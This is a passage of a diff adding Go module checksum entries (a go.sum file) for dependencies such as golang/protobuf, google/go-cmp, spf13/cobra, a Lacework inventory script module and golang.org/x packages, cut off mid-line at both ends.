h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE= +github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= +github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= +github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= +github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= +github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= +github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= +github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= +github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= +github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= +github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk= +github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= +github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= +github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= +github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= +github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= +github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= +github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= +github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= +github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= +github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw= +github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= +github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= +github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= +github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= +github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= +github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= +github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= +github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= +github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= +github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= +github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20201218002935-b9804c9f04c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= +github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= +github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/googleapis/enterprise-certificate-proxy v0.2.3 h1:yk9/cqRKtT9wXZSsRH9aurXEpJX+U6FLtpYTdC3R06k= +github.com/googleapis/enterprise-certificate-proxy v0.2.3/go.mod h1:AwSRAtLfXpU5Nm3pW+v7rGDHp09LsPtGY9MduiEsR9k= +github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= +github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= +github.com/googleapis/gax-go/v2 v2.7.0 h1:IcsPKeInNvYi7eqSaDjiZqDDKu5rsmunY0Y1YupQSSQ= +github.com/googleapis/gax-go/v2 v2.7.0/go.mod h1:TEop28CZZQ2y+c0VxMUmu1lV+fQx57QpBWsYpwqHJx8= +github.com/googleapis/google-cloud-go-testing v0.0.0-20200911160855-bcd43fbb19e8/go.mod h1:dvDLG8qkwmyD9a/MJJN3XJcT3xFxOKAvTZGvuZmac9g= +github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= +github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= +github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= +github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= +github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= +github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= +github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc= +github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= +github.com/jmespath/go-jmespath v0.4.0 h1:BEgLn5cpjn8UN1mAw4NjwDrS35OdebyEtFe+9YPoQUg= +github.com/jmespath/go-jmespath v0.4.0/go.mod h1:T8mJZnbsbmF+m6zOOFylbeCJqk5+pHWvzYPziyZiYoo= +github.com/jmespath/go-jmespath/internal/testify v1.5.1 h1:shLQSRRSCCPj3f2gpwzGwWFoC7ycTf1rcQZHOlsJ6N8= +github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U= +github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= +github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk= +github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= +github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= +github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= +github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0= +github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= +github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/lacework-dev/scripts/lw-inventory v0.0.0-20230209001952-81d53cd35ba9 h1:RR2JaFMoiaNoPIkY/45mkAsqCBllEx2d35Vm+O/tyaY= +github.com/lacework-dev/scripts/lw-inventory v0.0.0-20230209001952-81d53cd35ba9/go.mod h1:Ol5g5qNqobRpaKtpw+7a8FoxufGUZnuh7CiBHvhM6Pw= +github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= +github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0= +github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= +github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/pelletier/go-toml/v2 v2.0.6 h1:nrzqCb7j9cDFj2coyLNLaZuJTLjWjlaz6nvTvIwycIU= +github.com/pelletier/go-toml/v2 v2.0.6/go.mod h1:eumQOmlWiOPt5WriQQqoM5y18pDHwha2N+QD+EUNTek= +github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/sftp v1.13.1/go.mod h1:3HaPG6Dq1ILlpPZRO0HVMrsydcdLt6HRDccSgb87qRg= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= +github.com/rogpeppe/go-internal v1.6.1 h1:/FiVV8dS/e+YqF2JvO3yXRFbBLTIuSDkuC7aBOAvL+k= +github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= +github.com/sirupsen/logrus v1.9.0 h1:trlNQbNUG3OdDrDil03MCb1H2o9nJ1x4/5LYw7byDE0= +github.com/sirupsen/logrus v1.9.0/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= +github.com/spf13/afero v1.9.3 h1:41FoI0fD7OR7mGcKE/aOiLkGreyf8ifIOQmJANWogMk= +github.com/spf13/afero v1.9.3/go.mod h1:iUV7ddyEEZPO5gA3zD4fJt6iStLlL+Lg4m2cihcDf8Y= +github.com/spf13/cast v1.5.0 h1:rj3WzYc11XZaIZMPKmwP96zkFEnnAmV8s6XbB2aY32w= +github.com/spf13/cast v1.5.0/go.mod h1:SpXXQ5YoyJw6s3/6cMTQuxvgRl3PCJiyaX9p6b155UU= +github.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA= +github.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY= +github.com/spf13/jwalterweatherman v1.1.0 h1:ue6voC5bR5F8YxI5S67j9i582FU4Qvo2bmqnqMYADFk= +github.com/spf13/jwalterweatherman v1.1.0/go.mod h1:aNWZUN0dPAAO/Ljvb5BEdw96iTZ0EXowPYD95IqWIGo= +github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= +github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= +github.com/spf13/viper v1.15.0 h1:js3yy885G8xwJa6iOISGFwd+qlUo5AvyXb7CiihdtiU= +github.com/spf13/viper v1.15.0/go.mod h1:fFcTBJxvhhzSJiZy8n+PeW6t8l+KeT/uTARa0jHOQLA= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= +github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk= +github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/subosito/gotenv v1.4.2 h1:X1TuBLAMDFbaTAChgCBLu3DU3UPyELpnF2jjJ2cz/S8= +github.com/subosito/gotenv v1.4.2/go.mod h1:ayKnFf/c6rvx/2iiLrJUk1e6plDbT3edrFNGqEflhK0= +github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= +go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= +go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= +go.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw= +go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk= +go.opencensus.io v0.24.0 h1:y73uSU6J157QMP2kn2r30vwW1A2W2WFwSCGnAVxeaD0= +go.opencensus.io v0.24.0/go.mod h1:vNK8G9p7aAivkbmorf4v+7Hgx+Zs0yY+0fOtgBfjQKo= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= +golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= +golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek= +golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY= +golang.org/x/exp v0.0.0-20191129062945-2f5052295587/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= +golang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= +golang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= +golang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM= +golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU= +golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= +golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= +golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= +golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= +golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod h1:5qLYkcX4OjUUV8bRuDixDT3tpyyb+LUpUlRWLxfhWrs= +golang.org/x/lint v0.0.0-20200130185559-910be7a94367/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= +golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o= +golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= +golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY= +golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= +golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= +golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200222125558-5a598a2470a0/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod 